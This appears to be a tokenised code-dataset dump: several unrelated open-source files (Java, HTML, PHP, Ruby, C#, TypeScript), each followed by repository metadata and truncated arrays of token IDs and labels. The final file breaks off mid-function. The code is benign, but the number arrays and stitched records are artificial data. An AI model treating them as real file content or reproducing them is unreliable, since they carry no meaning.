* This class tests to see if creating a biginteger with an
* unicode japanese zero and one succeeds
*
*/
public class UnicodeConstructor {
public static void main(String args[]) {
try {
// the code for japanese zero
BigInteger b1 = new BigInteger("\uff10");
System.err.println(b1.toString());
// Japanese 1010
BigInteger b2 = new BigInteger("\uff11\uff10\uff11\uff10");
System.err.println(b2.toString());
}
catch (ArrayIndexOutOfBoundsException e) {
throw new RuntimeException(
"BigInteger is not accepting unicode initializers.");
}
}
}
| rokn/Count_Words_2015 | testing/openjdk2/jdk/test/java/math/BigInteger/UnicodeConstructor.java | Java | mit | 1,879 | [
30522,
1013,
1008,
1008,
9385,
1006,
1039,
1007,
2687,
1010,
14721,
1998,
1013,
2030,
2049,
18460,
1012,
2035,
2916,
9235,
1012,
1008,
2079,
2025,
11477,
2030,
6366,
9385,
14444,
2030,
2023,
5371,
20346,
1012,
1008,
1008,
2023,
3642,
2003,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta name='gwt:module' content='edu.cmu.cs.cimds.geogame.TestGeoGameAgents=edu.cmu.cs.cimds.geogame.TestGeoGameAgents'>
<title>GeoGame Test Agents</title>
<link type="text/css" rel="stylesheet" href="GeoGame.css">
</head>
<body>
<script language="javascript" src="edu.cmu.cs.cimds.geogame.TestGeoGameAgents/edu.cmu.cs.cimds.geogame.TestGeoGameAgents.nocache.js"></script>
</body>
</html> | grapesmoker/geogame | resources/web/TestGeoGameAgents.html | HTML | gpl-2.0 | 514 | [
30522,
1026,
999,
9986,
13874,
16129,
2270,
1000,
1011,
1013,
1013,
1059,
2509,
2278,
1013,
1013,
26718,
2094,
16129,
1018,
1012,
5890,
17459,
1013,
1013,
4372,
1000,
1028,
1026,
16129,
1028,
1026,
2132,
1028,
1026,
18804,
2171,
1027,
1005,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
/*
+--------------------------------------------------------------------+
| CiviCRM version 4.2 |
+--------------------------------------------------------------------+
| Copyright CiviCRM LLC (c) 2004-2012 |
+--------------------------------------------------------------------+
| This file is a part of CiviCRM. |
| |
| CiviCRM is free software; you can copy, modify, and distribute it |
| under the terms of the GNU Affero General Public License |
| Version 3, 19 November 2007 and the CiviCRM Licensing Exception. |
| |
| CiviCRM is distributed in the hope that it will be useful, but |
| WITHOUT ANY WARRANTY; without even the implied warranty of |
| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. |
| See the GNU Affero General Public License for more details. |
| |
| You should have received a copy of the GNU Affero General Public |
| License and the CiviCRM Licensing Exception along |
| with this program; if not, contact CiviCRM LLC |
| at info[AT]civicrm[DOT]org. If you have questions about the |
| GNU Affero General Public License or the licensing of CiviCRM, |
| see the CiviCRM license FAQ at http://civicrm.org/licensing |
+--------------------------------------------------------------------+
*/
/**
*
* @package CRM
* @copyright CiviCRM LLC (c) 2004-2012
* $Id$
*
*/
require_once 'CRM/Core/DAO.php';
require_once 'CRM/Utils/Type.php';
class CRM_Core_DAO_Website extends CRM_Core_DAO
{
/**
* static instance to hold the table name
*
* @var string
* @static
*/
static $_tableName = 'civicrm_website';
/**
* static instance to hold the field values
*
* @var array
* @static
*/
static $_fields = null;
/**
* static instance to hold the FK relationships
*
* @var string
* @static
*/
static $_links = null;
/**
* static instance to hold the values that can
* be imported
*
* @var array
* @static
*/
static $_import = null;
/**
* static instance to hold the values that can
* be exported
*
* @var array
* @static
*/
static $_export = null;
/**
* static value to see if we should log any modifications to
* this table in the civicrm_log table
*
* @var boolean
* @static
*/
static $_log = false;
/**
* Unique Website ID
*
* @var int unsigned
*/
public $id;
/**
* FK to Contact ID
*
* @var int unsigned
*/
public $contact_id;
/**
* Website
*
* @var string
*/
public $url;
/**
* Which Website type does this website belong to.
*
* @var int unsigned
*/
public $website_type_id;
/**
* class constructor
*
* @access public
* @return civicrm_website
*/
function __construct()
{
$this->__table = 'civicrm_website';
parent::__construct();
}
/**
* return foreign links
*
* @access public
* @return array
*/
function links()
{
if (!(self::$_links)) {
self::$_links = array(
'contact_id' => 'civicrm_contact:id',
);
}
return self::$_links;
}
/**
* returns all the column names of this table
*
* @access public
* @return array
*/
static function &fields()
{
if (!(self::$_fields)) {
self::$_fields = array(
'id' => array(
'name' => 'id',
'type' => CRM_Utils_Type::T_INT,
'required' => true,
) ,
'contact_id' => array(
'name' => 'contact_id',
'type' => CRM_Utils_Type::T_INT,
'FKClassName' => 'CRM_Contact_DAO_Contact',
) ,
'url' => array(
'name' => 'url',
'type' => CRM_Utils_Type::T_STRING,
'title' => ts('Website') ,
'maxlength' => 128,
'size' => CRM_Utils_Type::HUGE,
'import' => true,
'where' => 'civicrm_website.url',
'headerPattern' => '/Website/i',
'dataPattern' => '/^[A-Za-z][0-9A-Za-z]{20,}$/',
'export' => true,
) ,
'website_type_id' => array(
'name' => 'website_type_id',
'type' => CRM_Utils_Type::T_INT,
'title' => ts('Website Type') ,
) ,
);
}
return self::$_fields;
}
/**
* returns the names of this table
*
* @access public
* @static
* @return string
*/
static function getTableName()
{
return self::$_tableName;
}
/**
* returns if this table needs to be logged
*
* @access public
* @return boolean
*/
function getLog()
{
return self::$_log;
}
/**
* returns the list of fields that can be imported
*
* @access public
* return array
* @static
*/
static function &import($prefix = false)
{
if (!(self::$_import)) {
self::$_import = array();
$fields = self::fields();
foreach($fields as $name => $field) {
if (CRM_Utils_Array::value('import', $field)) {
if ($prefix) {
self::$_import['website'] = & $fields[$name];
} else {
self::$_import[$name] = & $fields[$name];
}
}
}
}
return self::$_import;
}
/**
* returns the list of fields that can be exported
*
* @access public
* return array
* @static
*/
static function &export($prefix = false)
{
if (!(self::$_export)) {
self::$_export = array();
$fields = self::fields();
foreach($fields as $name => $field) {
if (CRM_Utils_Array::value('export', $field)) {
if ($prefix) {
self::$_export['website'] = & $fields[$name];
} else {
self::$_export[$name] = & $fields[$name];
}
}
}
}
return self::$_export;
}
}
| cfusch/drupal-sandbox | sites/all/modules/civicrm/CRM/Core/DAO/Website.php | PHP | gpl-2.0 | 6,904 | [
30522,
1026,
1029,
25718,
1013,
1008,
1009,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
10... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php if ( is_user_logged_in() ) : ?>
<fieldset>
<label><?php _e( 'Your account', 'wp-job-manager' ); ?></label>
<div class="field account-sign-in">
<?php
$user = wp_get_current_user();
printf( __( 'You are currently signed in as <strong>%s</strong>.', 'wp-job-manager' ), $user->user_login );
?>
<a class="button" href="<?php echo apply_filters( 'submit_job_form_logout_url', wp_logout_url( get_permalink() ) ); ?>"><?php _e( 'Sign out', 'wp-job-manager' ); ?></a>
</div>
</fieldset>
<?php else :
$account_required = job_manager_user_requires_account();
$registration_enabled = job_manager_enable_registration();
$generate_username_from_email = job_manager_generate_username_from_email();
$login_url = listable_get_login_url();
$classes = listable_get_login_link_class( 'button' );
?>
<fieldset>
<label><?php _e( 'Have an account?', 'wp-job-manager' ); ?></label>
<div class="field account-sign-in <?php echo ( listable_using_lwa() ) ? 'lwa' : ''; ?>">
<a class="<?php echo $classes; ?>" href="<?php echo apply_filters( 'submit_job_form_login_url', $login_url ); ?>"><?php _e( 'Sign in', 'wp-job-manager' ); ?></a>
<?php if ( $registration_enabled ) : ?>
<?php printf( __( 'If you don’t have an account you can %screate one below by entering your email address/username. Your account details will be confirmed via email.', 'wp-job-manager' ), $account_required ? '' : __( 'optionally', 'wp-job-manager' ) . ' ' ); ?>
<?php elseif ( $account_required ) : ?>
<?php echo apply_filters( 'submit_job_form_login_required_message', __('You must sign in to create a new listing.', 'wp-job-manager' ) ); ?>
<?php endif; ?>
</div>
</fieldset>
<?php if ( $registration_enabled ) : ?>
<?php if ( ! $generate_username_from_email ) : ?>
<fieldset>
<label><?php _e( 'Username', 'wp-job-manager' ); ?> <?php echo apply_filters( 'submit_job_form_required_label', ( ! $account_required ) ? ' <small>' . __( '(optional)', 'wp-job-manager' ) . '</small>' : '' ); ?></label>
<div class="field">
<input type="text" class="input-text" name="create_account_username" id="account_username" value="<?php echo empty( $_POST['create_account_username'] ) ? '' : esc_attr( sanitize_text_field( stripslashes( $_POST['create_account_username'] ) ) ); ?>" />
</div>
</fieldset>
<?php endif; ?>
<fieldset>
<label><?php _e( 'Your email', 'wp-job-manager' ); ?> <?php echo apply_filters( 'submit_job_form_required_label', ( ! $account_required ) ? ' <small>' . __( '(optional)', 'wp-job-manager' ) . '</small>' : '' ); ?></label>
<div class="field">
<input type="email" class="input-text" name="create_account_email" id="account_email" placeholder="<?php esc_attr_e( 'you@yourdomain.com', 'wp-job-manager' ); ?>" value="<?php echo empty( $_POST['create_account_email'] ) ? '' : esc_attr( sanitize_text_field( stripslashes( $_POST['create_account_email'] ) ) ); ?>" />
</div>
</fieldset>
<?php do_action( 'job_manager_register_form' ); ?>
<?php endif; ?>
<?php endif; ?>
| golfcoastmagazine/golfcoastmagazine | wp-content/themes/listable/job_manager/account-signin.php | PHP | gpl-2.0 | 3,081 | [
30522,
1026,
1029,
25718,
2065,
1006,
2003,
1035,
5310,
1035,
26618,
1035,
1999,
1006,
1007,
1007,
1024,
1029,
1028,
1026,
4249,
3388,
1028,
1026,
3830,
1028,
1026,
1029,
25718,
1035,
1041,
1006,
1005,
2115,
4070,
1005,
1010,
1005,
1059,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
class Hash
# Merges self with another hash, recursively
#
# @param hash [Hash] The hash to merge
# @return [Hash]
def deep_merge(hash)
target = self.dup
hash.keys.each do |key|
if hash[key].is_a?(Hash) && self[key].is_a?(Hash)
target[key] = target[key].deep_merge(hash[key])
next
end
target[key] = hash[key]
end
target
end
end
| paulsingh/angellist-api | lib/angellist_api/core_ext/hash.rb | Ruby | mit | 391 | [
30522,
2465,
23325,
1001,
13590,
2015,
2969,
2007,
2178,
23325,
1010,
28667,
9236,
14547,
1001,
1001,
1030,
11498,
2213,
23325,
1031,
23325,
1033,
1996,
23325,
2000,
13590,
1001,
1030,
2709,
1031,
23325,
1033,
13366,
2784,
1035,
13590,
1006,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
using System;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
using Ical.Net.DataTypes;
namespace Ical.Net.Serialization.DataTypes
{
public class RequestStatusSerializer : StringSerializer
{
public RequestStatusSerializer() { }
public RequestStatusSerializer(SerializationContext ctx) : base(ctx) { }
public override Type TargetType => typeof (RequestStatus);
public override string SerializeToString(object obj)
{
try
{
var rs = obj as RequestStatus;
if (rs == null)
{
return null;
}
// Push the object onto the serialization stack
SerializationContext.Push(rs);
try
{
var factory = GetService<ISerializerFactory>();
var serializer = factory?.Build(typeof (StatusCode), SerializationContext) as IStringSerializer;
if (serializer == null)
{
return null;
}
var builder = new StringBuilder();
builder.Append(Escape(serializer.SerializeToString(rs.StatusCode)));
builder.Append(";");
builder.Append(Escape(rs.Description));
if (!string.IsNullOrWhiteSpace(rs.ExtraData))
{
builder.Append(";");
builder.Append(Escape(rs.ExtraData));
}
return Encode(rs, builder.ToString());
}
finally
{
// Pop the object off the serialization stack
SerializationContext.Pop();
}
}
catch
{
return null;
}
}
internal static readonly Regex NarrowRequestMatch = new Regex(@"(.*?[^\\]);(.*?[^\\]);(.+)", RegexOptions.Compiled);
internal static readonly Regex BroadRequestMatch = new Regex(@"(.*?[^\\]);(.+)", RegexOptions.Compiled);
public override object Deserialize(TextReader tr)
{
var value = tr.ReadToEnd();
var rs = CreateAndAssociate() as RequestStatus;
if (rs == null)
{
return null;
}
// Decode the value as needed
value = Decode(rs, value);
// Push the object onto the serialization stack
SerializationContext.Push(rs);
try
{
var factory = GetService<ISerializerFactory>();
if (factory == null)
{
return null;
}
var match = NarrowRequestMatch.Match(value);
if (!match.Success)
{
match = BroadRequestMatch.Match(value);
}
if (match.Success)
{
var serializer = factory.Build(typeof(StatusCode), SerializationContext) as IStringSerializer;
if (serializer == null)
{
return null;
}
rs.StatusCode = serializer.Deserialize(new StringReader(Unescape(match.Groups[1].Value))) as StatusCode;
rs.Description = Unescape(match.Groups[2].Value);
if (match.Groups.Count == 4)
{
rs.ExtraData = Unescape(match.Groups[3].Value);
}
return rs;
}
}
finally
{
// Pop the object off the serialization stack
SerializationContext.Pop();
}
return null;
}
}
} | rianjs/ical.net | src/Ical.Net/Serialization/DataTypes/RequestStatusSerializer.cs | C# | mit | 3,938 | [
30522,
2478,
2291,
1025,
2478,
2291,
1012,
22834,
1025,
2478,
2291,
1012,
3793,
1025,
2478,
2291,
1012,
3793,
1012,
3180,
10288,
20110,
8496,
1025,
2478,
24582,
2389,
1012,
5658,
1012,
2951,
13874,
2015,
1025,
3415,
15327,
24582,
2389,
1012... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
# (C) Copyright 2021 Hewlett Packard Enterprise Development LP
#
# Licensed under the Apache License, Version 2.0 (the "License");
# You may not use this file except in compliance with the License.
# You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed
# under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
# CONDITIONS OF ANY KIND, either express or implied. See the License for the specific
# language governing permissions and limitations under the License.
require_relative '../c7000/volume_template'
module OneviewSDK
module API2400
module Synergy
# Volume Template resource implementation for API2400 Synergy
class VolumeTemplate < OneviewSDK::API2400::C7000::VolumeTemplate
end
end
end
end
| HewlettPackard/oneview-sdk-ruby | lib/oneview-sdk/resource/api2400/synergy/volume_template.rb | Ruby | apache-2.0 | 867 | [
30522,
1001,
1006,
1039,
1007,
9385,
25682,
2002,
13668,
6582,
24100,
6960,
2458,
30524,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1025,
1001,
2017,
2089,
2025,
2224,
2023,
5371,
3272,
1999,
12646,
2007,
1996,
6105,
1012,
1001,
2017,
2089,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php /* Template Name: portfolio */
get_header(); ?>
<div id="portfolio-primary" class="content-area">
<main id="portfolio-main" class="site-main" role="main">
<?php
while ( have_posts() ) : the_post();
get_template_part( 'template-parts/content', 'page' );
// If comments are open or we have at least one comment, load up the comment template.
if ( comments_open() || get_comments_number() ) :
comments_template();
endif;
endwhile; // End of the loop.
?>
</main><!-- #main -->
</div><!-- #primary -->
<?php
//get_sidebar();
get_footer();
| ofdust/corkboard-wp | portfolio-page.php | PHP | gpl-2.0 | 587 | [
30522,
1026,
1029,
25718,
1013,
1008,
23561,
2171,
1024,
11103,
1008,
1013,
2131,
1035,
20346,
1006,
1007,
1025,
1029,
1028,
1026,
4487,
2615,
8909,
1027,
1000,
11103,
1011,
3078,
1000,
2465,
1027,
1000,
4180,
1011,
2181,
1000,
1028,
1026,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import * as strings from 'vs/base/common/strings';
import { Position } from 'vs/editor/common/core/position';
import { Range } from 'vs/editor/common/core/range';
import { ApplyEditsResult, EndOfLinePreference, FindMatch, IInternalModelContentChange, ISingleEditOperationIdentifier, ITextBuffer, ITextSnapshot, ValidAnnotatedEditOperation, IValidEditOperation } from 'vs/editor/common/model';
import { PieceTreeBase, StringBuffer } from 'vs/editor/common/model/pieceTreeTextBuffer/pieceTreeBase';
import { SearchData } from 'vs/editor/common/model/textModelSearch';
import { countEOL, StringEOL } from 'vs/editor/common/model/tokensStore';
import { TextChange } from 'vs/editor/common/model/textChange';
export interface IValidatedEditOperation {
sortIndex: number;
identifier: ISingleEditOperationIdentifier | null;
range: Range;
rangeOffset: number;
rangeLength: number;
text: string;
eolCount: number;
firstLineLength: number;
lastLineLength: number;
forceMoveMarkers: boolean;
isAutoWhitespaceEdit: boolean;
}
export interface IReverseSingleEditOperation extends IValidEditOperation {
sortIndex: number;
}
export class PieceTreeTextBuffer implements ITextBuffer {
private readonly _pieceTree: PieceTreeBase;
private readonly _BOM: string;
private _mightContainRTL: boolean;
private _mightContainNonBasicASCII: boolean;
constructor(chunks: StringBuffer[], BOM: string, eol: '\r\n' | '\n', containsRTL: boolean, isBasicASCII: boolean, eolNormalized: boolean) {
this._BOM = BOM;
this._mightContainNonBasicASCII = !isBasicASCII;
this._mightContainRTL = containsRTL;
this._pieceTree = new PieceTreeBase(chunks, eol, eolNormalized);
}
// #region TextBuffer
public equals(other: ITextBuffer): boolean {
if (!(other instanceof PieceTreeTextBuffer)) {
return false;
}
if (this._BOM !== other._BOM) {
return false;
}
if (this.getEOL() !== other.getEOL()) {
return false;
}
return this._pieceTree.equal(other._pieceTree);
}
public mightContainRTL(): boolean {
return this._mightContainRTL;
}
public mightContainNonBasicASCII(): boolean {
return this._mightContainNonBasicASCII;
}
public getBOM(): string {
return this._BOM;
}
public getEOL(): '\r\n' | '\n' {
return this._pieceTree.getEOL();
}
public createSnapshot(preserveBOM: boolean): ITextSnapshot {
return this._pieceTree.createSnapshot(preserveBOM ? this._BOM : '');
}
public getOffsetAt(lineNumber: number, column: number): number {
return this._pieceTree.getOffsetAt(lineNumber, column);
}
public getPositionAt(offset: number): Position {
return this._pieceTree.getPositionAt(offset);
}
public getRangeAt(start: number, length: number): Range {
let end = start + length;
const startPosition = this.getPositionAt(start);
const endPosition = this.getPositionAt(end);
return new Range(startPosition.lineNumber, startPosition.column, endPosition.lineNumber, endPosition.column);
}
public getValueInRange(range: Range, eol: EndOfLinePreference = EndOfLinePreference.TextDefined): string {
if (range.isEmpty()) {
return '';
}
const lineEnding = this._getEndOfLine(eol);
return this._pieceTree.getValueInRange(range, lineEnding);
}
public getValueLengthInRange(range: Range, eol: EndOfLinePreference = EndOfLinePreference.TextDefined): number {
if (range.isEmpty()) {
return 0;
}
if (range.startLineNumber === range.endLineNumber) {
return (range.endColumn - range.startColumn);
}
let startOffset = this.getOffsetAt(range.startLineNumber, range.startColumn);
let endOffset = this.getOffsetAt(range.endLineNumber, range.endColumn);
return endOffset - startOffset;
}
public getCharacterCountInRange(range: Range, eol: EndOfLinePreference = EndOfLinePreference.TextDefined): number {
if (this._mightContainNonBasicASCII) {
// we must count by iterating
let result = 0;
const fromLineNumber = range.startLineNumber;
const toLineNumber = range.endLineNumber;
for (let lineNumber = fromLineNumber; lineNumber <= toLineNumber; lineNumber++) {
const lineContent = this.getLineContent(lineNumber);
const fromOffset = (lineNumber === fromLineNumber ? range.startColumn - 1 : 0);
const toOffset = (lineNumber === toLineNumber ? range.endColumn - 1 : lineContent.length);
for (let offset = fromOffset; offset < toOffset; offset++) {
if (strings.isHighSurrogate(lineContent.charCodeAt(offset))) {
result = result + 1;
offset = offset + 1;
} else {
result = result + 1;
}
}
}
result += this._getEndOfLine(eol).length * (toLineNumber - fromLineNumber);
return result;
}
return this.getValueLengthInRange(range, eol);
}
public getLength(): number {
return this._pieceTree.getLength();
}
public getLineCount(): number {
return this._pieceTree.getLineCount();
}
public getLinesContent(): string[] {
return this._pieceTree.getLinesContent();
}
public getLineContent(lineNumber: number): string {
return this._pieceTree.getLineContent(lineNumber);
}
public getLineCharCode(lineNumber: number, index: number): number {
return this._pieceTree.getLineCharCode(lineNumber, index);
}
public getLineLength(lineNumber: number): number {
return this._pieceTree.getLineLength(lineNumber);
}
public getLineMinColumn(lineNumber: number): number {
return 1;
}
public getLineMaxColumn(lineNumber: number): number {
return this.getLineLength(lineNumber) + 1;
}
public getLineFirstNonWhitespaceColumn(lineNumber: number): number {
const result = strings.firstNonWhitespaceIndex(this.getLineContent(lineNumber));
if (result === -1) {
return 0;
}
return result + 1;
}
public getLineLastNonWhitespaceColumn(lineNumber: number): number {
const result = strings.lastNonWhitespaceIndex(this.getLineContent(lineNumber));
if (result === -1) {
return 0;
}
return result + 2;
}
private _getEndOfLine(eol: EndOfLinePreference): string {
switch (eol) {
case EndOfLinePreference.LF:
return '\n';
case EndOfLinePreference.CRLF:
return '\r\n';
case EndOfLinePreference.TextDefined:
return this.getEOL();
}
throw new Error('Unknown EOL preference');
}
public setEOL(newEOL: '\r\n' | '\n'): void {
this._pieceTree.setEOL(newEOL);
}
public applyEdits(rawOperations: ValidAnnotatedEditOperation[], recordTrimAutoWhitespace: boolean, computeUndoEdits: boolean): ApplyEditsResult {
let mightContainRTL = this._mightContainRTL;
let mightContainNonBasicASCII = this._mightContainNonBasicASCII;
let canReduceOperations = true;
let operations: IValidatedEditOperation[] = [];
for (let i = 0; i < rawOperations.length; i++) {
let op = rawOperations[i];
if (canReduceOperations && op._isTracked) {
canReduceOperations = false;
}
let validatedRange = op.range;
if (!mightContainRTL && op.text) {
// check if the new inserted text contains RTL
mightContainRTL = strings.containsRTL(op.text);
}
if (!mightContainNonBasicASCII && op.text) {
mightContainNonBasicASCII = !strings.isBasicASCII(op.text);
}
let validText = '';
let eolCount = 0;
let firstLineLength = 0;
let lastLineLength = 0;
if (op.text) {
let strEOL: StringEOL;
[eolCount, firstLineLength, lastLineLength, strEOL] = countEOL(op.text);
const bufferEOL = this.getEOL();
const expectedStrEOL = (bufferEOL === '\r\n' ? StringEOL.CRLF : StringEOL.LF);
